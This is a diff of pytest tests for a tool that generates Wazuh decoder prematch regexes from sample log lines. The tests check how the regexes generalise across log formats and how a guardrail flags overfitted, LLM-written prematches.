+EDR_PIPE = ( + 'MSG#88213|type=EDR.ALERT|ts=1754056751|host=WKSTN12|proc=cmd.exe|' + 'cmdline_b64=Y21kLmV4ZSAvYyBwb3dlcnNoZWxs|pid=6624|ppid=4102|' + 'hash_sha256=hex:ABCDEF0123456789|verdict=SUSPICIOUS|score=88|' + 'mitre=[T1059.001,T1027]' +) +BRACKET_BODY = ( + '<2026.08.01 14:30> {SVC:orders-api} [REQ id=req-8821 method=POST ' + 'route=/v2/checkout] [USR uid=88213 tier=gold] [RESP code=500 ' + 'err="deadlock detected: txn 991 vs 882"]' +) +# Both open with `[`, which used to zero out the header zone. +EPOCH_PAYGW = ( + '[1754056222831] ~PAYGW~ >> merchant=MID99213 | card=****4821 | ' + 'amt=15000.50:USD | mcc=5411 | result=DECLINE(51) | risk_score=0.87 | ' + 'rules_fired=[VELOCITY,GEO_MISMATCH] | proc_ns=8823410' +) +APACHE_ERROR = ( + '[Mon Aug 03 09:22:31.113456 2026] [authz_core:error] [pid 2211:tid 140234] ' + '[client 203.0.113.77:52233] AH01630: client denied by server configuration: ' + '/var/www/html/admin' +) + + +def test_prematch_stops_at_the_key_and_never_takes_the_value(): + """`type=EDR.ALERT` in the prematch matches ALERT events and nothing else. + + The shipped derivation emitted `^MSG\\p\\d+\\ptype\\pEDR.ALERT`, so an + EDR.INFO line from the very same source decoded as nothing at all.""" + prematch = derive_parent_prematch(EDR_PIPE) + assert "EDR.ALERT" not in prematch, "prematch pinned the type value" + assert "type" in prematch, "prematch dropped the structural key too" + assert osregex_matches(prematch, EDR_PIPE) + + +@pytest.mark.parametrize( + "sibling", + [ + 'MSG#88214|type=EDR.INFO|ts=1754056799|host=WKSTN12|proc=svchost.exe|pid=900', + 'MSG#90001|type=NET.FLOW|ts=1754060000|host=SRV07|verdict=CLEAN|score=0', + ], +) +def test_other_event_types_from_the_same_source_still_match(sibling): + prematch = derive_parent_prematch(EDR_PIPE) + assert osregex_matches(prematch, sibling), ( + f"{prematch!r} rejects a sibling event from the same log source" + ) + + +def test_prematch_does_not_reach_into_a_bracketed_body(): + """The 4-token fallback used to swallow `[REQ`, pinning the parent to + request events and excluding every other line from the same service.""" + prematch = derive_parent_prematch(BRACKET_BODY) + assert "REQ" not in prematch + assert "SVC" in prematch, "the header tag itself should survive" + assert osregex_matches(prematch, BRACKET_BODY) + # A line from the same service with no [REQ ...] block at all. + assert osregex_matches( + prematch, '<2026.08.01 14:33> {SVC:orders-api} startup complete' + ) + + +def test_header_zone_cuts_at_first_value_or_body_block(): + from app.main import _header_zone + + assert _header_zone("MSG#1|type=EDR.ALERT|ts=9") == "MSG#1|type=" + assert _header_zone("a b [REQ id=1]") == "a b " + assert _header_zone("no values here") == "no values here" + + +def test_header_zone_survives_a_log_that_opens_with_a_bracket(): + """A `[` at position 0 collapsed the zone to "", so `derive_parent_prematch` + returned None and the parent shipped with no prematch at all. The opening + group is header — an epoch stamp, an apache date — not the body block the + `[` stop is for.""" + from app.main import _header_zone + + assert _header_zone(EPOCH_PAYGW) == "[1754056222831] ~PAYGW~ >> merchant=" + assert _header_zone(APACHE_ERROR) == "[Mon Aug 03 09:22:31.113456 2026] " + + +@pytest.mark.parametrize("log", [EPOCH_PAYGW, APACHE_ERROR]) +def test_bracket_opening_logs_still_get_a_parent_prematch(log): + prematch = derive_parent_prematch(log) + assert prematch, "a log opening with '[' must still yield a prematch" + assert osregex_matches(prematch, log) + + +def test_epoch_bracket_prematch_covers_the_header_without_pinning_a_value(): + """`[] ~PAYGW~` is the envelope; the merchant id is one event's data.""" + prematch = derive_parent_prematch(EPOCH_PAYGW) + assert "PAYGW" in prematch, "the product tag should survive" + assert "1754056222831" not in prematch, "the epoch is per-event" + assert "MID99213" not in prematch, "the merchant id is per-event" + assert osregex_matches( + prematch, + "[1754056301447] ~PAYGW~ >> merchant=MID41022 | card=****9930 | " + "amt=289.00:EUR | result=DECLINE(05)", + ) + + +def test_weekday_name_is_generalized_like_the_month(): + """`[Mon Aug 03 ...]` kept `Mon` literal, so the decoder matched only + Mondays — a month-shaped overfit that the month rule did not cover.""" + prematch = derive_parent_prematch(APACHE_ERROR) + assert "Mon" not in prematch + for other in ( + "[Tue Sep 15 22:05:02.884211 2026] [authz_core:error] [client 10.0.0.3:41022] AH01630: denied", + "[Sun Dec 25 01:02:03.000001 2027] [authz_core:error] [client 10.0.0.1:1] AH01630: denied", + ): + assert osregex_matches(prematch, other) + + +def test_weekday_generalization_leaves_words_that_merely_start_with_one_alone(): + """"Monday-svc01" and "Sunfire-01" are hostnames, not dates.""" + from app.main import _generalize_with_digit_runs_and_months + + assert "Monday" in _generalize_with_digit_runs_and_months("Monday-svc01") + assert "Sunfire" in _generalize_with_digit_runs_and_months("Sunfire-01") + + +def test_weekday_generalization_leaves_all_caps_product_tags_alone(): + """A `MON` or `SUN` product tag is a tag; only title case is a weekday.""" + from app.main import _generalize_prematch_prefix + + generalized = _generalize_prematch_prefix("MON|SUN|") + assert "MON" in generalized and "SUN" in generalized + + +# ── guardrail backstop for an LLM-authored prematch ────────────────────────── + +def test_detect_overfit_prematch_flags_a_pinned_field_value(): + from app.main import detect_overfit_prematch + + bad = '^MSG\\p\\d+\\ptype\\pEDR.ALERT' + reason = detect_overfit_prematch(bad, None, sample_log=EDR_PIPE) + assert reason and "EDR.ALERT" in reason + + +def test_detect_overfit_prematch_accepts_the_envelope_form(): + from app.main import detect_overfit_prematch + + good = '^MSG\\p\\d+\\ptype\\p' + assert detect_overfit_prematch(good, None, sample_log=EDR_PIPE) is None + + +def test_detect_overfit_prematch_is_backwards_compatible_without_a_sample(): + from app.main import detect_overfit_prematch + + bad = '^MSG\\p\\d+\\ptype\\pEDR.ALERT' + assert detect_overfit_prematch(bad, None) is None + + +# ── the second producer: prematch_osregex_from_current_logs ────────────────── + +def test_second_producer_also_stops_at_the_key(): + """default_prematch_boundary's fallback splits on whitespace, so a + pipe-delimited log with no spaces came back whole — every value included.""" + from app.main import prematch_osregex_from_current_logs + + prematch = prematch_osregex_from_current_logs([EDR_PIPE], "myapp") + assert "EDR.ALERT" not in prematch + assert "SUSPICIOUS" not in prematch + assert osregex_matches(prematch, EDR_PIPE) + + +def test_both_producers_agree_on_the_envelope(): + from app.main import prematch_osregex_from_current_logs + + assert derive_parent_prematch(EDR_PIPE) == prematch_osregex_from_current_logs( + [EDR_PIPE], "myapp" + ) + + +@pytest.mark.parametrize("day", ["Aug 1", "Dec 25", "Jan 3", "Nov 11"]) +def test_second_producer_generalizes_the_month_and_day_padding(day): + """A syslog priority prefix ("<134>Aug ...") pushes the month off position 0, + past the timestamp branches, and the fallback kept it literal. Syslog also + space-pads single-digit days, so each space escaped to its own \\s+.""" + from app.main import prematch_osregex_from_current_logs + + prematch = prematch_osregex_from_current_logs([SYSLOG_ACCESSLOG], "myapp") + assert "Aug" not in prematch + assert osregex_matches(prematch, SYSLOG_ACCESSLOG.replace("Aug 1", day)) + + +def test_month_generalization_leaves_hostnames_alone(): + """"March-svc01" is a hostname; only a standalone month is a date.""" + from app.main import _generalize_with_digit_runs_and_months + + assert "March" in _generalize_with_digit_runs_and_months("March-svc01") + + +def test_overfit_guardrail_takes_the_shape_the_endpoint_actually_passes(): + """AIGenerateRequest.logs is List[LogSample], not List[str]. + + /api/ai/generate-validated feeds the guardrail from request.logs, and + first_non_empty() calls .strip() on each element — handing it LogSample + objects raises AttributeError and 500s the endpoint. Pin the contract.""" + from app.main import AIGenerateRequest, detect_overfit_prematch, first_non_empty + + request = AIGenerateRequest(app_name="myapp", logs=[{"raw_log": EDR_PIPE}]) + sample = first_non_empty([s.raw_log for s in request.logs]) + assert sample == EDR_PIPE + + with pytest.raises(AttributeError): + first_non_empty(request.logs) + + bad = '^MSG\\p\\d+\\ptype\\pEDR.ALERT' + assert detect_overfit_prematch(bad, None, sample_log=sample) + + +# ── KEY(value) paren format ────────────────────────────────────────────────── + +PAREN_NODEEVT = ( + '2026-08-01 14:43:00; PRIORITY(CRIT); COMPONENT(storage-node-3); ' + 'EVENT(disk.smart.fail); DETAIL(dev=/dev/sdb; reallocated=1284; pending=44; ' + 'temp=61C); ACTION(auto-evacuate started); TICKET(INC-99213)' +) + + +def test_paren_format_prematch_keeps_the_key_not_the_value(): + """`PRIORITY(CRIT)` in the prematch matches criticals and nothing else. + + The header zone knew `key=` and `[`, but this format uses `KEY(value)`, so + the first `=` it found was buried inside `DETAIL(dev=...)` — the prematch + ran through PRIORITY and COMPONENT, pinning both values.""" + prematch = derive_parent_prematch(PAREN_NODEEVT) + assert "PRIORITY" in prematch, "the structural key should survive" + for value in ("CRIT", "storage", "node", "disk", "smart"): + assert value not in prematch, f"prematch pinned the value {value!r}" + assert osregex_matches(prematch, PAREN_NODEEVT) + + +@pytest.mark.parametrize( + "sibling", + [ + '2026-08-01 15:02:11; PRIORITY(WARN); COMPONENT(net-edge-11); EVENT(link.flap)', + '2027-01-09 02:00:00; PRIORITY(INFO); COMPONENT(api-7); EVENT(startup)', + '2030-12-25 23:59:59; PRIORITY(DEBUG); COMPONENT(x); EVENT(y)', + ], +) +def test_paren_format_matches_other_severities_and_components(sibling): + assert osregex_matches(derive_parent_prematch(PAREN_NODEEVT), sibling) + + +def test_paren_format_prematch_still_discriminates(): + """Trimming the prematch must not make it match anything with a date.""" + prematch = derive_parent_prematch(PAREN_NODEEVT) + assert not osregex_matches( + prematch, '2026-08-01 14:43:00; SEVERITY(CRIT); COMPONENT(storage-node-3)' + ) + assert not osregex_matches(prematch, 'MSG#1|type=EDR.ALERT|ts=1') + + +def test_default_boundary_does_not_cut_inside_a_clock(): + """`:\\s*` allowed the zero-width case, so "14:43:" satisfied the + "program:" marker and the header was cut mid-timestamp.""" + from app.main import default_prematch_boundary + + assert default_prematch_boundary(PAREN_NODEEVT) == "2026-08-01 14:43:00; PRIORITY(" + # A genuine syslog program marker must still be honoured. + assert default_prematch_boundary(SYSLOG_ACCESSLOG).endswith("accesslog: ") + + +# ── key:value records ──────────────────────────────────────────────────────── + +SENSOR_KV = ( + 'DEV:TH-SENSOR-0442,SEQ:88213,T:2026-08-01T14:44:09Z,temp:23.4C,hum:61%,' + 'batt:3.71V,rssi:-72dBm,evt:THRESHOLD_BREACH,thr:temp>22.0C,fw:1.4.2,crc:0x8A3F' +) + + +def test_kv_colon_record_prematch_pins_nothing(): + """`key:value` hit none of the known boundaries, so the whole record -- + device id, event name, firmware, crc -- ended up in the prematch.""" + prematch = derive_parent_prematch(SENSOR_KV) + for value in ("TH-SENSOR-0442", "88213", "THRESHOLD_BREACH", "8A3F", "1.4.2"): + assert value not in prematch, f"prematch pinned {value!r}" + assert osregex_matches(prematch, SENSOR_KV) + + +def test_kv_colon_record_matches_a_different_device_and_event(): + prematch = derive_parent_prematch(SENSOR_KV) + assert osregex_matches( + prematch, + 'DEV:TH-SENSOR-0001,SEQ:2,T:2027-01-09T02:00:00Z,temp:19.0C,' + 'evt:HEARTBEAT,fw:2.0.0,crc:0x11BB', + ) + + +def test_a_clock_colon_is_not_a_field_boundary(): + """Every timestamp has colons; treating them as kv separators would cut + the header mid-time. Keys must start with a letter.""" + from app.main import _header_zone + + assert _header_zone(SYSLOG_ACCESSLOG).startswith("<134>Aug 1 14:49:10") + assert _header_zone(PAREN_NODEEVT) == "2026-08-01 14:43:00; PRIORITY(" + + +def test_namespaced_colon_is_not_a_value_boundary(): + """`LOGV3|f:ts=...` — `f:` introduces a namespace, not a value. The value + starts after `ts=`, so the header must reach that far and no further.""" + prematch = derive_parent_prematch(LOGV3) + assert "ts" in prematch + assert "2026" not in prematch and "host" not in prematch + + +def test_lone_colon_tag_does_not_trigger_the_kv_rule(): + """A single `{SVC:name}` tag is a header, not a kv record — the rule needs + several pairs before a colon counts, so this keeps its earlier behaviour.""" + prematch = derive_parent_prematch(BRACKET_BODY) + assert "SVC" in prematch + assert not osregex_matches( + prematch, '<2026.08.01 14:30> {SVC:payments-api} [REQ id=req-1]' + ) + + +# ── child captures on delimited records ────────────────────────────────────── + +def test_child_capture_is_bounded_by_the_record_delimiter(): + """(\\S+) is non-space and so is a comma, so `temp:(\\S+)` swallowed the + whole rest of the record. OS_Regex backtracks when a literal follows the + group, so the delimiter bounds it.""" + from app.main import build_split_regexes_from_fields + + pairs = build_split_regexes_from_fields( + [SENSOR_KV], {"temp": "23.4C", "evt": "THRESHOLD_BREACH", "crc": "0x8A3F"} + ) + by_field = {order[0]: regex for regex, order in pairs} + assert by_field["temp"].endswith(r"(\S+),") + assert by_field["evt"].endswith(r"(\S+),") + # crc is the final field of the record — nothing follows it to anchor on. + assert by_field["crc"].endswith(r"(\S+)") + + +# ── field-name matching must not collide on fragments ──────────────────────── + +def test_single_letter_field_does_not_match_an_unrelated_wazuh_field(): + """A log field named `T` matched `dstip`, because "t" is a substring of + "dstip". That scored an unrelated junos firewall template above zero, and + the tool emitted a dstip child for a log with no IP in it.""" + from app.main import extract_relevant_fields, select_requested_fields + + available = extract_relevant_fields(SENSOR_KV) + assert "T" in available, "sample no longer has the single-letter field" + selected, missing = select_requested_fields(available, ["dstip"]) + assert selected == {} + assert missing == ["dstip"] + + +@pytest.mark.parametrize( + "one,other,expected", + [ + ("t", "dstip", False), # the reported collision + ("a", "action", False), # any single letter + ("ip", "srcip", True), # suffix — what the fallback is for + ("temp", "temperature", True), # prefix + ("user", "dstuser", True), + ("st", "dstip", False), # mid-word fragment + ], +) +def test_affix_match_accepts_prefixes_and_suffixes_only(one, other, expected): + from app.main import _affix_match + + assert _affix_match(one, other) is expected + assert _affix_match(other, one) is expected, "must be symmetric" + + +def test_low_confidence_template_does_not_inject_its_fields(): + """junos-rt-flow-reassemble-fail scored 0.19 against a sensor log and + contributed order=['dstip']. With the field no longer matching, the + template scores zero and is dropped.""" + from app.main import score_ml_decoder_template, extract_relevant_fields + + available = extract_relevant_fields(SENSOR_KV) + junos = {"name": "junos-rt-flow-reassemble-fail", "order": ["dstip"], "score": 0.1895} + assert score_ml_decoder_template(junos, available, ["temp", "hum"]) == 0.0 + + +# ── spelling ───────────────────────────────────────────────────────── + +@pytest.mark.parametrize( + "given,expected", + [ + ("dstuser", "user"), + ("DstUser", "user"), + (" dstuser ", "user"), + ("srcuser", "srcuser"), # only dstuser is aliased onto user + ("user", "user"), + ("dstip", "dstip"), + ("temp", "temp"), + ], +) +def test_order_field_name_prefers_user_over_dstuser(given, expected): + """Wazuh resolves user onto dstuser internally — logtest + emits `dstuser` for both spellings — so `user` is the clearer source form.""" + from app.main import normalize_order_field_name + + assert normalize_order_field_name(given) == expected + + +def test_order_normalization_reaches_model_authored_xml(): + """The deterministic renderers normalise their own output, but XML the + model wrote goes straight through — both paths must agree.""" + from app.main import normalize_decoder_order_xml + + xml = ( + 'dstuser' + 'srcip, dstuser' + ) + out = normalize_decoder_order_xml(xml) + assert "dstuser" not in out + assert "user" in out + assert "srcip, user" in out + + +def test_derive_handles_empty_and_junk_input(): + assert derive_parent_prematch("") is None + assert derive_parent_prematch(" ") is None + assert derive_parent_prematch(None) is None + + +def test_single_token_log_still_yields_a_matching_prematch(): + prematch = derive_parent_prematch("something-happened") + assert prematch is None or osregex_matches(prematch, "something-happened") + + +# ── the hostname wazuh-logtest does not print ──────────────────────────────── +# +# On the ISO8601 path logtest emits no `hostname:` line, yet Wazuh still eats +# the token after the timestamp as the hostname. Proven by giving a child +# decoder `^(\S+)` against +# '2026-08-03T08:15:01.824+00:00 VPNGW01 event=authentication ...' +# which captured 'event=authentication', not 'VPNGW01'. Trusting the absent +# hostname left the tag in the remainder, so every derived prematch anchored a +# token too early and the parent could never fire. + +ISO_KV_LOG = ( + '2026-08-03T08:15:01.824+00:00 VPNGW01 event=authentication status=failed ' + 'username="john.doe" src_ip=192.168.10.25 risk_score=47' +) + + +def test_iso8601_remainder_drops_the_unreported_hostname_token(): + remainder = postpredecode_remainder(ISO_KV_LOG, "2026-08-03T08:15:01.824+00:00", None) + assert remainder.startswith("event=authentication"), remainder + assert "VPNGW01" not in remainder + + +@pytest.mark.parametrize("stamp", [ + "2026-08-03T08:15:01.824+00:00", + "2026-08-03T08:15:01+00:00", + "2026-08-03T08:15:01.824000+00:00", + "2026-08-03T08:15:01.824Z", +]) +def test_every_clean_iso8601_form_consumes_the_following_token(stamp): + log = f"{stamp} HOSTTAG key=value other=thing" + assert postpredecode_remainder(log, stamp, None) == "key=value other=thing" + + +def test_a_mangled_timestamp_consumes_no_token(): + """When the pre-decoder grabs a fixed 31 chars it slices into the next field + and the reported timestamp carries that debris — no token boundary there is + trustworthy, so nothing extra may be dropped.""" + log = "2026-08-01T14:23:11.842Z|APPAUTH|sev=4|node=auth-svc-07" + remainder = postpredecode_remainder(log, "2026-08-01T14:23:11.842Z|APPAUT", None) + assert remainder == "H|sev=4|node=auth-svc-07" + + +def test_a_reported_hostname_is_still_what_gets_stripped(): + log = "Aug 3 09:14:22 gw01 something happened here" + assert postpredecode_remainder(log, "Aug 3 09:14:22", "gw01") == "something happened here" + + +def test_no_timestamp_still_means_nothing_was_predecoded(): + assert postpredecode_remainder("[1754056222831] ~PAYGW~ >> merchant=X", None, None) is None + + +def test_iso_kv_prematch_anchors_on_the_first_key_not_the_tag(): + """Consequence worth pinning: with the tag eaten, the prematch can only + anchor on the first key — which is why sources sharing a first key collide + and cannot be told apart by a decoder at all.""" + remainder = postpredecode_remainder(ISO_KV_LOG, "2026-08-03T08:15:01.824+00:00", None) + prematch = derive_parent_prematch(remainder) + assert prematch.startswith("^event"), prematch + assert osregex_matches(prematch, remainder) + + +# ── overfit shapes the key=value scan could not see ────────────────────────── + +def test_overfit_detects_a_pinned_json_value(): + """JSON has no `key=`, so a prematch embedding ERROR, payments-api, jdoe and + a whole message text passed the guardrail clean.""" + from app.main import detect_overfit_prematch + + sample = ( + '{"timestamp":"2026-08-03T09:31:12Z","level":"ERROR","service":"payments-api",' + '"user":"jdoe","message":"payment authorization failed","status":502}' + ) + bad = ( + '' + r'^\p\p\plevel\p\p\pERROR\p\p\pservice\p\p\ppayments\papi\p' + '' + ) + assert detect_overfit_prematch(bad, None, sample_log=sample) + + +def test_overfit_detects_an_opaque_id_from_a_positional_format(): + """Zeek is tab-separated: no key to scan, so the connection uid sat in the + prematch and matched that one connection for good.""" + from app.main import detect_overfit_prematch + + sample = "1754214122.441\tCwXyZ1abcd2EfGh\t203.0.113.9\t51221\t10.0.0.5\t22\ttcp\tssh" + bad = ( + '' + r'^\d+\p\d+\s+CwXyZ\d+abcd\d+EfGh\s+\d+\p\d+\p\d+\p\d+' + '' + ) + reason = detect_overfit_prematch(bad, None, sample_log=sample) + assert reason and "CwXyZ1abcd2EfGh" in reason, reason + + +def test_overfit_detects_a_numeric_date_literal(): + """`^E0803` is klog severity plus month 08 day 03 — a literal date no + alphabetic-month rule can see.""" + from app.main import detect_overfit_prematch + + sample = 'E0803 09:48:21.113455 1 authorization.go:74] Forbidden: verb="delete"' + bad = '^E0803\\s+\\d+\\p\\d+' + reason = detect_overfit_prematch(bad, None, sample_log=sample) + assert reason and "0803" in reason + + +def test_overfit_detects_a_prematch_that_swallowed_the_whole_record(): + """A Palo Alto prematch generalized only the digits of a 40-field CSV and + kept allow/inbound/ssl/untrust/deny literal — near-identical sessions only.""" + from app.main import detect_overfit_prematch + + sample = ( + "1,2026/08/03 09:40:22,013201004215,TRAFFIC,end,2561,203.0.113.45,10.1.1.20," + "allow-inbound,ssl,vsys1,untrust,trust,ethernet1/1,LogForward,tcp,deny" + ) + bad = ( + '' + r'^\d+\p\d+\pTRAFFIC\pend\p\d+\pallow\pinbound\pssl\pvsys\d+\puntrust\ptrust' + r'\pethernet\d+\pLogForward\ptcp\pdeny' + '' + ) + assert detect_overfit_prematch(bad, None, sample_log=sample) + + +@pytest.mark.parametrize("prematch,sample", [ + (r"^CEF\p\d+\p", "CEF:0|Trellix|EDR|4.2.1|MALWARE_FOUND|x|8|src=203.0.113.31"), + (r"^LEEF\p\d+\p\d+\pImperva\pWAF", "LEEF:2.0|Imperva|WAF|12.0|SQL_INJECTION|src=1.2.3.4"), + (r"^\pPLC\pSTN\p", "$PLC,STN=04,TS=20260801143201,TAG=PMP01.FLOW,VAL=142.7"), + (r"^\p\d+\p\s+~PAYGW~\s+\p\p\s+merchant\p", + "[1754056222831] ~PAYGW~ >> merchant=MID99213 | card=****4821"), + (r"^id\p", 'id=firewall sn=0017C58A1B2C time="2026-08-03 09:52:18" fw=10.0.0.1'), + (r"^\p\d+\p\d+\p\d+\s+\d+\p\d+\p\s+\pSVC\porders\papi\p", + "<2026.08.01 14:30> {SVC:orders-api} [REQ id=req-8821 method=POST]"), +]) +def test_good_envelope_prematches_are_not_flagged(prematch, sample): + """The guardrail must not cry wolf on a correct envelope prematch.""" + from app.main import detect_overfit_prematch + + xml = f'{prematch}' + assert detect_overfit_prematch(xml, None, sample_log=sample) is None + + +# ── one prematch has to cover every sample supplied ────────────────────────── + +ARUBA_CLI = ( + "10.7.2.19 cli[6005]: <341004> AP:HRD_GF-:cc:ff:3c_Master " + "<10.7.2.19 A8:5B:F7:CC:FF:3C> AP 10.7.2.15: Client 5a:5a:84:2d:39:56 authenticate fail" +) +ARUBA_STM = ( + "10.7.2.19 stm[6041]: <501094> AP:HRD_GF-:cc:ff:3c_Master " + "<10.7.2.19 A8:5B:F7:CC:FF:33> Auth failure: d6:a5:17:db:81:42: AP 10.7.2.19-a8:5b:f7" +) + + +def test_multi_sample_prematch_covers_both_subsystems(): + """Deriving from sample 1 alone produced `...\\s+cli`, which fails sample 2 + even though both were supplied in the same request. An Aruba controller + emits cli, stm, authmgr, sapd...""" + from app.main import derive_parent_prematch_multi + + prematch = derive_parent_prematch_multi([ARUBA_CLI, ARUBA_STM]) + assert prematch + assert "cli" not in prematch and "stm" not in prematch + assert osregex_matches(prematch, ARUBA_CLI) + assert osregex_matches(prematch, ARUBA_STM) + + +def test_single_sample_prematch_stays_specific(): + """Generalizing only where the samples actually disagree — one sample means + nothing is known to vary, so the token stays.""" + from app.main import derive_parent_prematch_multi + + assert derive_parent_prematch_multi([ARUBA_CLI]) == derive_parent_prematch(ARUBA_CLI) + + +def test_multi_sample_keeps_a_prematch_that_already_covers_everything(): + from app.main import derive_parent_prematch_multi + + both = [ARUBA_CLI, ARUBA_CLI.replace("10.7.2.15", "10.7.2.44")] + assert derive_parent_prematch_multi(both) == derive_parent_prematch(ARUBA_CLI) + + +def test_multi_sample_handles_empty_input(): + from app.main import derive_parent_prematch_multi + + assert derive_parent_prematch_multi([]) is None + assert derive_parent_prematch_multi(["", " "]) is None